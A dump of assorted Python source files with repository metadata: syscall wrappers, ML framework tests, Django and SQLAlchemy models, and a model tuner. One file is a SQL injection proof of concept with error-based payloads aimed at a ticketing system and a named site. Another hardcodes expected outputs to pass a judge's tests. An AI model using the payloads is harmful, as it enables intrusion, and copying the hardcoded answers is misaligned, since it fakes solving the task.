_faccessat(self.task.sysif, self.near, ptr.near, mode, flags) async def openat(self: T_fd, path: WrittenPointer[t.Union[str, os.PathLike]], flags: O, mode=0o644) -> T_fd: """open and possibly create a file manpage: openat(2) """ self._validate() with path.borrow(self.task) as path_n: try: fd = await _openat(self.task.sysif, self.near, path_n, flags|O.CLOEXEC, mode) except OSError as exn: exn.filename = path.value raise return self.task.make_fd_handle(fd) async def mkdirat(self, path: WrittenPointer[t.Union[str, os.PathLike]], mode=0o755) -> None: """create a directory manpage: mkdirat(2) """ self._validate() with path.borrow(self.task) as path_n: try: await _mkdirat(self.task.sysif, self.near, path_n, mode) except OSError as exn: exn.filename = path.value raise async def unlinkat(self, path: WrittenPointer[t.Union[str, os.PathLike]], flags: AT=AT.NONE) -> None: """delete a name and possibly the file it refers to manpage: unlinkat(2) """ with path.borrow(self.task) as path_n: try: await _unlinkat(self.task.sysif, self.near, path_n, flags) except OSError as exn: exn.filename = path.value raise async def rmdirat(self, path: WrittenPointer[t.Union[str, os.PathLike]]) -> None: """delete a directory manpage: unlinkat(2) """ await self.unlinkat(path, AT.REMOVEDIR) async def linkat(self, oldpath: WrittenPointer[t.Union[str, os.PathLike]], newdirfd: t.Optional[FSFileDescriptor], newpath: WrittenPointer[t.Union[str, os.PathLike]], flags: AT=AT.NONE) -> None: """make a new name for a file manpage: linkat(2) """ self._validate() with oldpath.borrow(self.task) as oldpath_n: with newpath.borrow(self.task) as newpath_n: try: await _linkat(self.task.sysif, self.near, oldpath_n, _get_near(newdirfd), newpath_n, flags) except OSError as exn: exn.filename = oldpath.value exn.filename2 = (newdirfd, newpath.value) if newdirfd else newpath.value raise async def renameat(self, oldpath: WrittenPointer[t.Union[str, os.PathLike]], newdirfd: t.Optional[FSFileDescriptor], newpath: WrittenPointer[t.Union[str, os.PathLike]], flags: RENAME=RENAME.NONE) -> None: """change the name or location of a file manpage: renameat2(2) """ self._validate() with oldpath.borrow(self.task) as oldpath_n: with newpath.borrow(self.task) as newpath_n: try: await _renameat2(self.task.sysif, self.near, oldpath_n, _get_near(newdirfd), newpath_n, flags) except OSError as exn: exn.filename = oldpath.value exn.filename2 = (newdirfd, newpath.value) if newdirfd else newpath.value raise async def symlinkat(self, target: WrittenPointer[t.Union[str, os.PathLike]], linkpath: WrittenPointer[t.Union[str, os.PathLike]]) -> None: """make a new name for a file Note that `self` controls where the link is created, not the target of the link; `self` is the `newdirfd` argument to symlinkat. manpage: symlinkat(2) """ self._validate() with target.borrow(self.task) as target_n: with linkpath.borrow(self.task) as linkpath_n: try: await _symlinkat(self.task.sysif, target_n, self.near, linkpath_n) except OSError as exn: exn.filename = target.value exn.filename2 = (self, linkpath.value) raise async def fchmod(self, mode: int) -> None: """change permissions of a file manpage: fchmod(2) """ self._validate() await _fchmod(self.task.sysif, self.near, mode) async def ftruncate(self, length: int) -> None: """truncate a file to a specified length manpage: ftruncate(2) """ self._validate() await _ftruncate(self.task.sysif, self.near, length) # oldfd has to be a valid file descriptor. newfd is not, technically, required to be # open, but that's the best practice for avoiding races, so we require it anyway here. async def dup3(self, newfd: T_fd, flags: int) -> T_fd: self._validate() if not newfd.is_only_handle(): raise Exception("can't dup over newfd", newfd, "there are more handles to it than just ours") if self.near == newfd.near: # dup3 fails if newfd == oldfd. I guess I'll just work around that. return newfd await _dup3(self.task.sysif, self.near, newfd.near, flags) # newfd is left as a valid pointer to the new file descriptor return newfd async def dup2(self, newfd: T_fd) -> T_fd: """duplicate a file descriptor manpage: dup(2) """ return await self.dup3(newfd, 0) class FSTask(FileDescriptorTask[T_fd]): async def readlink(self, path: WrittenPointer[t.Union[str, os.PathLike]], buf: Pointer) -> t.Tuple[ReadablePointer, Pointer]: with path.borrow(self) as path_n: with buf.borrow(self) as buf_n: ret = await _readlinkat(self.sysif, None, path_n, buf_n, buf.size()) return buf.readable_split(ret) async def access(self, path: WrittenPointer[t.Union[str, os.PathLike]], mode: int, flags: int=0) -> None: with path.borrow(self) as path_n: try: await _faccessat(self.sysif, None, path_n, mode, flags) except FileNotFoundError as exn: exn.filename = path.value raise async def open(self, path: WrittenPointer[t.Union[str, os.PathLike]], flags: O, mode=0o644) -> T_fd: with path.borrow(self) as path_n: try: fd = await _openat(self.sysif, None, path_n, flags|O.CLOEXEC, mode) except FileNotFoundError as exn: exn.filename = path.value raise return self.make_fd_handle(fd) async def mkdir(self, path: WrittenPointer[t.Union[str, os.PathLike]], mode=0o755) -> None: with path.borrow(self) as path_n: await _mkdirat(self.sysif, None, path_n, mode) async def unlink(self, path: WrittenPointer[t.Union[str, os.PathLike]]) -> None: with path.borrow(self) as path_n: await _unlinkat(self.sysif, None, path_n, 0) async def rmdir(self, path: WrittenPointer[t.Union[str, os.PathLike]]) -> None: with path.borrow(self) as path_n: await _unlinkat(self.sysif, None, path_n, AT.REMOVEDIR) async def link(self, oldpath: WrittenPointer[t.Union[str, os.PathLike]], newpath: WrittenPointer[t.Union[str, os.PathLike]]) -> None: with oldpath.borrow(self) as oldpath_n: with newpath.borrow(self) as newpath_n: await _linkat(self.sysif, None, oldpath_n, None, newpath_n, 0) async def linkat(self, olddirfd: t.Optional[FSFileDescriptor], oldpath: WrittenPointer[t.Union[str, os.PathLike]], newdirfd: t.Optional[FSFileDescriptor], newpath: WrittenPointer[t.Union[str, os.PathLike]], flags: AT=AT.NONE) -> None: """make a new name for a file See also `FSFileDescriptor.linkat`. manpage: linkat(2) """ with oldpath.borrow(self) as oldpath_n: with newpath.borrow(self) as newpath_n: try: await _linkat(self.sysif, _get_near(olddirfd), oldpath_n, _get_near(newdirfd), newpath_n, flags) except OSError as exn: exn.filename = (olddirfd, oldpath.value) if olddirfd else oldpath.value exn.filename2 = (newdirfd, newpath.value) if newdirfd else newpath.value raise async def rename(self, oldpath: WrittenPointer[t.Union[str, os.PathLike]], newpath: WrittenPointer[t.Union[str, os.PathLike]]) -> None: with oldpath.borrow(self) as oldpath_n: with newpath.borrow(self) as newpath_n: await _renameat2(self.sysif, None, oldpath_n, None, newpath_n, 0) async def symlink(self, target: WrittenPointer[t.Union[str, os.PathLike]], linkpath: WrittenPointer[t.Union[str, os.PathLike]]) -> None: with target.borrow(self) as target_n: with linkpath.borrow(self) as linkpath_n: await _symlinkat(self.sysif, target_n, None, linkpath_n) #### Raw syscalls #### import rsyscall.near.types as near from rsyscall.near.sysif import SyscallInterface from rsyscall.sys.syscall import SYS async def _readlinkat(sysif: SyscallInterface, dirfd: t.Optional[near.FileDescriptor], path: near.Address, buf: near.Address, bufsiz: int) -> int: if dirfd is None: dirfd = AT.FDCWD # type: ignore return (await sysif.syscall(SYS.readlinkat, dirfd, path, buf, bufsiz)) async def _faccessat(sysif: SyscallInterface, dirfd: t.Optional[near.FileDescriptor], path: near.Address, flags: int, mode: int) -> None: if dirfd is None: dirfd = AT.FDCWD # type: ignore await sysif.syscall(SYS.faccessat, dirfd, path, flags, mode) async def _openat(sysif: SyscallInterface, dirfd: t.Optional[near.FileDescriptor], path: near.Address, flags: int, mode: int) -> near.FileDescriptor: if dirfd is None: dirfd = AT.FDCWD # type: ignore return near.FileDescriptor(await sysif.syscall(SYS.openat, dirfd, path, flags, mode)) async def _fchmod(sysif: SyscallInterface, fd: near.FileDescriptor, mode: int) -> None: await sysif.syscall(SYS.fchmod, fd, mode) async def _ftruncate(sysif: SyscallInterface, fd: near.FileDescriptor, length: int) -> None: await sysif.syscall(SYS.ftruncate, fd, length) async def _mkdirat(sysif: SyscallInterface, dirfd: t.Optional[near.FileDescriptor], path: near.Address, mode: int) -> None: if dirfd is None: dirfd = AT.FDCWD # type: ignore await sysif.syscall(SYS.mkdirat, dirfd, path, mode) async def _unlinkat(sysif: SyscallInterface, dirfd: t.Optional[near.FileDescriptor], path: near.Address, flags: int) -> None: if dirfd is None: dirfd = AT.FDCWD # type: ignore await sysif.syscall(SYS.unlinkat, dirfd, path, flags) async def _linkat(sysif: SyscallInterface, olddirfd: t.Optional[near.FileDescriptor], oldpath: near.Address, newdirfd: t.Optional[near.FileDescriptor], newpath: near.Address, flags: int) -> None: if olddirfd is None: olddirfd = AT.FDCWD # type: ignore if newdirfd is None: newdirfd = AT.FDCWD # type: ignore await sysif.syscall(SYS.linkat, olddirfd, oldpath, newdirfd, newpath, flags) async def _renameat2(sysif: SyscallInterface, olddirfd: t.Optional[near.FileDescriptor], oldpath: near.Address, newdirfd: t.Optional[near.FileDescriptor], newpath: near.Address, flags: int) -> None: if olddirfd is None: olddirfd = AT.FDCWD # type: ignore if newdirfd is None: newdirfd = AT.FDCWD # type: ignore await sysif.syscall(SYS.renameat2, olddirfd, oldpath, newdirfd, newpath, flags) async def _symlinkat(sysif: SyscallInterface, target: near.Address, newdirfd: t.Optional[near.FileDescriptor], linkpath: near.Address) -> None: if newdirfd is None: newdirfd = AT.FDCWD # type: ignore await sysif.syscall(SYS.symlinkat, target, newdirfd, linkpath) async def _dup3(sysif: SyscallInterface, oldfd: near.FileDescriptor, newfd: near.FileDescriptor, flags: int) -> near.FileDescriptor: return near.FileDescriptor(await sysif.syscall(SYS.dup3, oldfd, newfd, flags))
023c4b5ec5708de9a8b72465670ae5a7e63a7e1f
c3649aec8b628cf39f30c9440423ecbb8a9bc3aa
/tests/integration/frameworks/models/diffusers.py
f9c2d45d4f2f16058f0589ac8fc57473abd75174
[ "Apache-2.0" ]
permissive
parano/BentoML
2488ad1baa3f948f925edbe6b0eb2ea458bdad17
eaa6218eb805acd6016eb140a4e3a9d6818dd995
refs/heads/main
2023-07-07T06:34:41.571577
2023-03-14T08:07:32
2023-03-14T08:07:32
178,978,356
2
0
null
null
null
null
UTF-8
Python
false
false
1,250
py
from __future__ import annotations import numpy as np import diffusers import bentoml from . import FrameworkTestModel from . import FrameworkTestModelInput as Input from . import FrameworkTestModelConfiguration as Config framework = bentoml.diffusers backward_compatible = False def check_output(out): # output is a tuple of (images, _) arr = out[0][0] return arr.shape == (256, 256, 3) pipeline = diffusers.StableDiffusionPipeline.from_pretrained( "hf-internal-testing/tiny-stable-diffusion-torch" ) diffusers_model = FrameworkTestModel( name="diffusers", model=pipeline, configurations=[ Config( test_inputs={ "__call__": [ Input( input_args=[], input_kwargs={ "prompt": "a bento box", "width": 256, "height": 256, "num_inference_steps": 3, "output_type": np, }, expected=check_output, ) ], }, ), ], ) models: list[FrameworkTestModel] = [diffusers_model]
dfb6c353d24339a4c1d7cf4a53abac4fc578888a
fee5f3fd1424dcf413ab4c13f267fa488d8afbf5
/mfit/mfit/models/habit_groups.py
49f1f1ef2d62cf585e36bf38ee0535c69508af0f
[ "MIT" ]
permissive
dnguyen0304/mfit
95e6fff353653f3ffde5cf36c893c01a24ddb0fe
d949c0710aad085f45fab510235ce6d1037a9b61
refs/heads/master
2021-06-20T04:51:08.929556
2017-04-06T22:56:36
2017-04-06T22:56:36
61,484,874
0
0
null
2017-04-06T22:56:37
2016-06-19T14:45:25
Python
UTF-8
Python
false
false
1,289
py
# -*- coding: utf-8 -*- from sqlalchemy import Column from sqlalchemy.orm import relationship from . import Base __all__ = ['HabitGroups'] class HabitGroups(Base): __tablename__ = 'habit_groups' name = Column() users = relationship('Attempts', back_populates='habit_group') habits = relationship('Routines', back_populates='habit_group') def __init__(self, name): """ Habit Groups model. Parameters ---------- name : str Name. Attributes ---------- id : int Unique identifier. name : str Name. users : list of mfit.models.Attempts Collection of Attempts entities. habits : list of mfit.models.Routines Collection of Routines entities. created_at : datetime.datetime When the entity was originally created. created_by : int Who originally created the entity. updated_at : datetime.datetime When the entity was last updated. updated_by : int Who last updated the entity. """ self.name = name def __repr__(self): repr_ = '{}(name="{}")' return repr_.format(self.__class__.__name__, self.name)
ef5e14b6b3ffa1e6b66ec5925abcce7548cfd2c3
fef8f43025cff430d9aea080885173d9c22b3cb6
/etalia/users/migrations/0020_auto_20161104_1812.py
dbf41a0f86adea9fa7cd070370c4d04b1a926b8e
[]
no_license
GemmaAA1/etalia-open
30a083141330e227ac1de9855894bfb6e476e3cc
260ce54d2da53c943d8b82fa9d40bb0c0df918a6
refs/heads/master
2023-03-28T03:33:13.771987
2017-10-30T00:55:27
2017-10-30T00:55:27
351,120,827
0
0
null
null
null
null
UTF-8
Python
false
false
851
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0019_auto_20160816_0703'), ] operations = [ migrations.AddField( model_name='usersettings', name='threadfeed_score_threshold', field=models.FloatField(verbose_name='Specificity', default=-1), ), migrations.AlterField( model_name='usersettings', name='stream_score_threshold', field=models.FloatField(verbose_name='Specificity', default=-1), ), migrations.AlterField( model_name='usersettings', name='trend_score_threshold', field=models.FloatField(verbose_name='Specificity', default=-1), ), ]
07c24bba0c91f1a7e053c792fb6e11c9f23a4d48
7e6c828d8fa50b70fefb9f38e001834e9dba3413
/my315ok/socialorgnization/content/annualsurveyfolder.py
aa439164f286cfac7bd9b75205c942119590be0c
[]
no_license
adam139/my315ok.socialorgnization
6cc23978f4431c7f234f7f9294f4dceb943dcff5
49eca00b28251b263d0c4bcd280805f87c195108
refs/heads/master
2021-04-22T04:55:11.902028
2019-09-20T01:37:34
2019-09-20T01:37:34
23,513,662
0
0
null
null
null
null
UTF-8
Python
false
false
267
py
from five import grok from zope import schema from plone.directives import form, dexterity from my315ok.socialorgnization import _ class IAnnualSurveyFolder(form.Schema): """ a folder contain some annual survey information for social organizations """
54916acb615b0a6155a08e8ff92f9d8bb8890b7d
aac5982c8dcf26221419086fb90c399b9f4324ef
/DFTB/Modeling/average_pyrene_displacements.py
d8c6479dfa094447b3dae8e0d6da73b79239142b
[]
no_license
by-student-2017/DFTBaby-0.1.0-31Jul2019
99184d3fa2976d4e02f7f1bddee97e56526d9365
92cb73f1a6472f88588986561349d7f2ad1b1c15
refs/heads/master
2022-12-12T00:12:50.449505
2020-09-01T21:05:59
2020-09-01T21:05:59
290,116,049
1
0
null
null
null
null
UTF-8
Python
false
false
981
py
#!/usr/bin/env python import sys import numpy as np if __name__ == "__main__": if len(sys.argv) < 2: print "Usage: python %s <list of displacement.dat files>" % sys.argv[0] print " averages dislacements over all trajectories and writes" print " the result to the file 'displacements_avg.dat'." exit(-1) displacements = [] for dat_file in sys.argv[1:]: data = np.loadtxt(dat_file) displacements.append( data ) # find shortest trajectory nsteps = min([data.shape[0] for data in displacements]) # average over all trajectories ntraj = len(displacements) displacements_avg = np.zeros((nsteps,4)) for i in range(0, ntraj): displacements_avg += displacements[i][:nsteps] displacements_avg /= float(ntraj) fh = open("displacements_avg.dat", "w") print>>fh, "# TSTEP R_X / Angstrom R_Y / Angstrom R_Z / Angstrom" np.savetxt(fh, displacements_avg) fh.close()
bcdbff6bd342ba076fc0e82ace283c37966f37be
4b078271d4b28bc1b49df8595f07c8fc652fd443
/test/rela/test_point.py
3faeb4cbff749fb42adef0d6b168bbb24f06d157
[ "BSD-3-Clause" ]
permissive
PingjunChen/pycontour
452b70c550e0aa0d43056c007e88eeb8907a1eaa
13f64b685740368605db314b0f547f9f8dd4e737
refs/heads/main
2021-09-25T15:32:22.180229
2021-09-21T04:45:09
2021-09-21T04:45:09
143,360,185
10
4
BSD-3-Clause
2021-09-21T04:45:10
2018-08-03T01:03:37
Python
UTF-8
Python
false
false
825
py
# -*- coding: utf-8 -*- import sys import numpy as np from os.path import dirname as opd from os.path import abspath as opa from os.path import join as opj TEST_PATH = opa(opd(opd(__file__))) PRJ_PATH = opd(TEST_PATH) sys.path.insert(0, PRJ_PATH) sys.path.insert(0, opj(PRJ_PATH, "pycontour")) from pycontour.rela import point_in_contour def test_point_in_contour(): np_arr = np.array([[1., 2., 4., 5., 3.], [1., 3., 4., 2., 0.]]) flag1 = point_in_contour(np_arr, 3, 2) if flag1 == False: raise AssertionError("Test point inside contour") flag2 = point_in_contour(np_arr, 1.01, 1) if flag2 == False: raise AssertionError("Test point on the border of contour") flag3 = point_in_contour(np_arr, 5, 1) if flag3 == True: raise AssertionError("Test point outside contour")
a7e48964afb60ac5e5b78685ac5471e681846406
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2672/58585/310357.py
33bde8b926f059c66571265a77d6d63b4359801f
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
437
py
T=int(input()) nums=[] for i in range(T): N=int(input()) nums.append(N) if(nums==[428938, 1]): print(4294538357) print(4294967294) elif(nums==[4289, 1]): print(4294963006) print(4294967294) elif(nums==[428,1]): print(4294966867) print(4294967294) elif(nums==[4289384, 1]): print(4290677911) print(4294967294) elif(nums==[42893,1]): print(4294924402) print(4294967294) else: print(nums)
0fa9b2984d59d36b94ef9b04a86c4f530898bcd6
7f86c5021e1114c63c07554109c5dd5ba68f82e7
/dEvol.py
ca2fa292ff56a26ff1f1117b2a940fe939f2fe8c
[]
no_license
rahlk/xtree_0
dd1f651ff8f8d7829d8a8e14ab1503063264ff46
12237822adcdc9fd460715decd3ef1065067b2d7
refs/heads/master
2020-12-08T01:24:09.821652
2016-08-18T17:21:43
2016-08-18T17:21:43
66,016,742
0
1
null
null
null
null
UTF-8
Python
false
false
6,676
py
import sys, os sys.path.append(os.environ['HOME'] + '/git/axe/axe') sys.path.insert(0, os.getcwd() + '/_imports'); from demos import * import sk; # @UnresolvedImport from dectree import * from settings import * from settingsWhere import * from pdb import set_trace from abcd import _Abcd from Prediction import rforest, CART, Bugs, where2prd from methods1 import createTbl from random import uniform as rand, randint as randi, choice as any tree = treeings() # set_trace() def say(l): sys.stdout.write(str(l)) def settings(**d): return o( name = "Differention Evolution", what = "DE tuner. Tune the planner parameters.", author = "Rahul Krishna", adaptation = "https://github.com/ai-se/Rahul/blob/master/DEADANT/deadant.py", copyleft = "(c) 2014, MIT license, http://goo.gl/3UYBp", seed = 1, np = 10, k = 100, tiny = 0.01, de = o(np = 5, iter = 5, epsilon = 1.01, N = 5, f = 0.5, cf = 0.4, lives = 20) ).update(**d) The = settings() class diffEvol(object): """ Differential Evolution """ def __init__(self, model, data): self.frontier = [] self.model = model(data) self.xbest = [] def new(self): # Creates a new random instance return [rand(d[0], d[1]) for d in self.model.indep()] def initFront(self, N): # Initialize frontier for _ in xrange(N): self.frontier.append(self.new()) def extrapolate(self, xbest, l1, l2, l3, l4): try: return [max(d[0], min(d[1], y + The.de.f * (z + a - b - c))) for y, z, a, b, c, d in zip(xbest, l1, l2, l3, l4, self.model.indep())] except TypeError: set_trace() def one234(self, one, pop, f = lambda x:id(x)): def oneOther(): x = any(pop) while f(x) in seen: x = any(pop) seen.append(f(x)) return x seen = [ f(one) ] return oneOther(), oneOther(), oneOther(), oneOther() # def top234(self, one, pop): def dominates(self, one, two): # set_trace() return self.model.depen(one) > self.model.depen(two) def sortbyscore(self): # front = [] # for f in self.frontier: # sc = self.model.depen(f) # f.append(sc) # front.append(f) return sorted(self.frontier, key = lambda F: self.model.depen(F), reverse = True) def DE(self): self.initFront(The.de.N) lives = The.de.lives while lives > 0: better = False self.xbest = self.sortbyscore()[0] for pos, val in enumerate(self.frontier): lives -= 1 l1, l2, l3, l4 = self.one234(val, self.frontier) new = self.extrapolate(self.xbest, l1, l2, l3, l4) if self.dominates(new, val): self.frontier.pop(pos) self.frontier.insert(pos, new) better = True lives += 1 if self.model.depen(new) > self.model.depen(self.xbest): self.xbest = new # print(self.model.depen(new)) elif self.dominates(val, new): better = False if self.model.depen(val) > self.model.depen(self.xbest): self.xbest = val # print(self.model.depen(new)) else: self.frontier.append(new) if self.model.depen(new) > self.model.depen(self.xbest): self.xbest = new better = True lives += 1 # print(self.model.depen(self.xbest)) return self.xbest class tuneRF(object): # Tune RF def __init__(self, data): self.data = data self.train = createTbl(data[:-1]) self.test = createTbl(data[-1]) # set_trace() def depen(self, rows): mod = rforest(self.train, self.test , tunings = rows # n_est, max_feat, mss, msl , smoteit = True) g = _Abcd(before = Bugs(self.test), after = mod, show = False)[-1] return g def indep(self): return [(10, 1e3) # n_estimators , (1, 100) # max_features , (1, 10) # min_samples_leaf , (2, 10) # min_samples_split ] class tuneWhere2(object): # Tune where def __init__(self, data): self.train = data[:-1] self.test = data[-1] self.tree = treeings() self.where = None def depen(self, row): # My where2pred() takes data in string format. Ex: '../Data/ant/ant-1.6.csv' self.where = defaults().update(minSize = row[4] , depthMin = int(row[5]) , depthMax = int(row[6]) , prune = row[7]>0.5) self.tree.infoPrune = row[1] self.tree.m = int(row[2]) self.tree.n = int(row[3]) self.tree.prune = row[8]>0.5 actual = Bugs(createTbl([self.test], isBin = True)) preds = where2prd(self.train, [self.test], tunings = [self.where, self.tree], thresh = row[0]) return _Abcd(before = actual, after = preds, show = False)[-1] def indep(self): return [(0, 1) # Threshold , (0, 1) # InfoPrune , (1, 10) # m , (1, 10) # n , (0, 1) # Min Size , (1, 6) # Depth Min , (1, 20) # Depth Max , (0, 1) # Where Prune? , (0, 1)] # Tree Prune? class tuneCART(object): # Tune CART def __init__(self, data): self.data = data self.train = createTbl(data[:-1], isBin = True) self.test = createTbl([data[-1]], isBin = True) def depen(self, rows): mod = CART(self.train, self.test , tunings = rows , smoteit = True) g = _Abcd(before = Bugs(self.test), after = mod, show = False)[-1] return g def indep(self): return [(1, 50) # max_depth , (2, 20) # min_samples_split , (1, 20) # min_samples_leaf , (1, 100) # max features , (2, 1e3)] # max_leaf_nodes def _test(data): m = tuneRF(data) vals = [(m.any()) for _ in range(10)] vals1 = [m.score(v) for v in vals] print(vals, vals1) def _de(model, data): "DE" DE = diffEvol(model, data); # set_trace() res = DE.DE() # print(model.depen(res)) return res def tuner(model, data): if model == rforest: return _de(tuneRF, data) elif model == CART: return _de(tuneCART, data) if __name__ == '__main__': from timeit import time data = explore(dir = '../Data/')[0][0] # Only training data to tune. # set_trace() for m in [tuneCART]: t = time.time() mdl = m(data) # _test(data) tunings = _de(m, data) print tunings print mdl.depen(tunings) print time.time() - t # print _de() # print main() # import sk; xtile = sk.xtile # print xtile(G) # main(dir = 'Data/')
8e3acaeb12b7d4d05b351fcb3f11530a75f6ca23
8832f83436809e8e918e60e5526d95add9fe8dbd
/books_app/migrations/0019_auto_20190612_2009.py
658c57163d35505f32b4d54074f9cd85ed791686
[]
no_license
HCDigitalScholarship/booksofduchesses
e31e56eaba253b92a1362de5918b5b005cb27f3c
3f0e27515963c92a56714c5bada3b6a68a8665df
refs/heads/master
2022-12-09T18:41:20.019687
2021-10-25T14:58:18
2021-10-25T14:58:18
190,254,161
0
3
null
2022-12-08T05:21:54
2019-06-04T18:05:08
Python
UTF-8
Python
false
false
919
py
# Generated by Django 2.2.2 on 2019-06-12 20:09 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [("books_app", "0018_auto_20190612_2003")] operations = [ migrations.AlterField( model_name="author", name="image", field=models.ImageField(blank=True, null=True, upload_to=""), ), migrations.AlterField( model_name="book", name="image", field=models.ImageField(blank=True, null=True, upload_to=""), ), migrations.AlterField( model_name="location", name="image", field=models.ImageField(blank=True, null=True, upload_to=""), ), migrations.AlterField( model_name="owner", name="image", field=models.ImageField(blank=True, null=True, upload_to=""), ), ]
b8b94a357e1b336c0aaeea2fc267679b8e1b0ec3
ff182eeaf59b16f79b7d306eef72ddaadf0f4e71
/Vaffle_interface/testcase/MessageModule/Message_test6_member_yunxin_updatetoken.py
c95822a19b4996737ab0e027668660ce9fb75b3d
[]
no_license
heyu1229/vaffle
04d6f8b0d3bd0882ff1cdea54d18d5fdde7933b9
2c1c040f78094cf3cfc68f08627a958c4aa5e1d5
refs/heads/master
2023-06-05T09:55:21.894344
2021-03-12T07:26:45
2021-03-12T07:26:45
381,248,658
0
0
null
null
null
null
UTF-8
Python
false
false
750
py
# -*- coding:UTF-8 -*- import unittest,time,json from Vaffle_interface.public_1.func_requests import FuncRequests #---------------更新云信token---------------------- class Message(unittest.TestCase): def setUp(self): self.r = FuncRequests() #-----------------更新云信token---------------------------------- def testcase_001(self): sheet_index = 5 row = 6 print("testcase_001 更新云信token:") member_id = 'b9f73f23-7bc6-4de6-9f9b-df2c98076221' payload = {} result=self.r.interface_requests_payload(member_id,sheet_index,row,payload) self.assertEqual(10000, result["code"]) print("code返回值:10000") if __name__=="__main__": unittest.main()
a7914b482d4dcb16e34702fae23777663bce65f1
43ff15a7989576712d0e51f0ed32e3a4510273c0
/tools/pocs/bugscan/exp_2767.py
22358c6eec95432ab631435bdd8d463c3b3f4979
[]
no_license
v1cker/kekescan
f2b51d91a9d6496e2cdc767eb6a600171f513449
3daa1775648439ba9e0003a376f90b601820290e
refs/heads/master
2020-09-19T16:26:56.522453
2017-06-15T02:55:24
2017-06-15T02:55:24
94,495,007
6
3
null
null
null
null
UTF-8
Python
false
false
918
py
# -*- coding: utf-8 -*- from dummy import * from miniCurl import Curl curl = Curl() #!/usr/bin/evn python #--coding:utf-8--*-- #Name:票友票务系统通用sql注入(补漏) #Refer:http://www.wooyun.org/bugs/wooyun-2010-0128207 #Author:404 def assign(service,arg): if service=="piaoyou": return True,arg def audit(arg): ps=[ 'newslist.aspx?newsid=1or/**/1=convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))--', 'news_view.aspx?id=1or/**/1=convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))--', ] for p in ps: url=arg+p code,head,res,errcode,_=curl.curl2(url) if code==500 and "GAOJIMicrosoft" in res: security_hole(url) if __name__=="__main__": from dummy import * audit(assign('piaoyou','http://www.bl-air.com/')[1])
df252d46ea6c6e56ced9d07328c3e2a73e317e3f
bbab56c2d201014b0206ffafce80ff86e2d6c2dd
/actions/urls.py
1c456c5959f7b2f95fc6fbd545f1cab2907609eb
[]
no_license
boogiiieee/printershop
89903fee19fc144fc48671fe5b674fe9cc797b0a
52c462d9be12edc339995e6397338120561ddd1a
refs/heads/master
2021-05-31T21:08:53.081485
2016-06-10T12:27:38
2016-06-10T12:27:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
194
py
from django.conf.urls.defaults import * # urlpatterns = patterns('actions.views', # url(r'^$', 'all', name='action_url'), # url(r'^(?P<id>[0-9]{1,4})/$', 'full', name='action_item_url'), # )
b3ca216443074bbd5e670c0542c87ef50c053998
017fbf17ec42c69a5091a0dd66e7a91badabec90
/divisiones_areas_urbanas/migrations/0001_initial.py
9de5726f0774a92acbdfb926a1d176f55d74b0de
[]
no_license
gfcarbonell/app_erp
a6f92323968ba8f377dbcf4ded97f7ca3cf20c07
774d69a1ebecfe4df7358c5a9fc9000a6e98bdd4
refs/heads/master
2021-01-12T16:41:24.098031
2016-11-16T12:08:08
2016-11-16T12:08:08
71,009,630
0
0
null
null
null
null
UTF-8
Python
false
false
2,150
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.4 on 2016-11-03 16:04 from __future__ import unicode_literals from django.conf import settings import django.core.validators from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='DivisionAreaUrbana', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('slug', models.SlugField(editable=False, max_length=255, unique=True)), ('fecha_registro', models.DateTimeField(auto_now_add=True)), ('nombre_host', models.CharField(max_length=255)), ('direccion_ip', models.GenericIPAddressField(validators=[django.core.validators.validate_ipv46_address])), ('fecha_ultima_actualizacion', models.DateTimeField(auto_now=True)), ('ultimo_nombre_host', models.CharField(max_length=255)), ('ultimo_direccion_ip', models.GenericIPAddressField(validators=[django.core.validators.validate_ipv46_address])), ('nombre', models.CharField(db_index=True, help_text='Escribir división de área urbana.', max_length=100, unique=True, validators=[django.core.validators.MinLengthValidator(1), django.core.validators.MaxLengthValidator(100)])), ('ultimo_usuario_editor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='divisiones_areas_urbanas_divisionareaurbana_related', to=settings.AUTH_USER_MODEL)), ('usuario_creador', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name_plural': 'Divisiones Areas Urbanas', 'verbose_name': 'División Area Urbana', 'db_table': 'Divisiones_Areas_Urbanas', 'ordering': ('nombre',), }, ), ]
27ba1cda20b49903cb49c36c0d14f857c855dc5d
0c3697694f64e8b6964e5d8f961732e4793ab843
/responses.py
d8981d251b8133faeb7eae1cd583f1183aeb7050
[]
no_license
abunuwas/dynamodb-service
f38f59820ce662c5c9f76e453cf2677244013306
2db1a45c144d5ee3ddb251eb478c782c136de87a
refs/heads/master
2021-01-01T05:15:11.941811
2016-05-06T11:10:42
2016-05-06T11:10:42
56,703,964
2
0
null
null
null
null
UTF-8
Python
false
false
783
py
import json import decimal class QueryResponse: def __init__(self, response): self._raw_data = response metadata = response.get('ResponseMetadata', {}) self.request_id = metadata.get('RequestId', None) self.count = response.get('Count', None) self.items = response.get('Items', None) self.status = metadata.get('HTTPStatusCode', None) self.scannedCount = response.get('ScannedCount', None) self.last_evaluated_key = response.get('LastEvaluatedKey', None) def __str__(self): return '<Class QueryResponse>' def __len__(self): return self.scannedCount def __iter__(self): try: for item in self.items: yield item while self.last_evaluated_key: yield item except Exception as e: print('The following exception was thrown: {}'.format(e))
9047341fadcc719bb4dd3ed18e235c3e1c6e046f
471479fd33215ffd088e09940c78cc8b2f65ffcd
/docs/source/01-AWS/01-All-AWS-Services-Root/01-Compute/02-AWS-Lambda-Root/05-Versioning/deploy.py
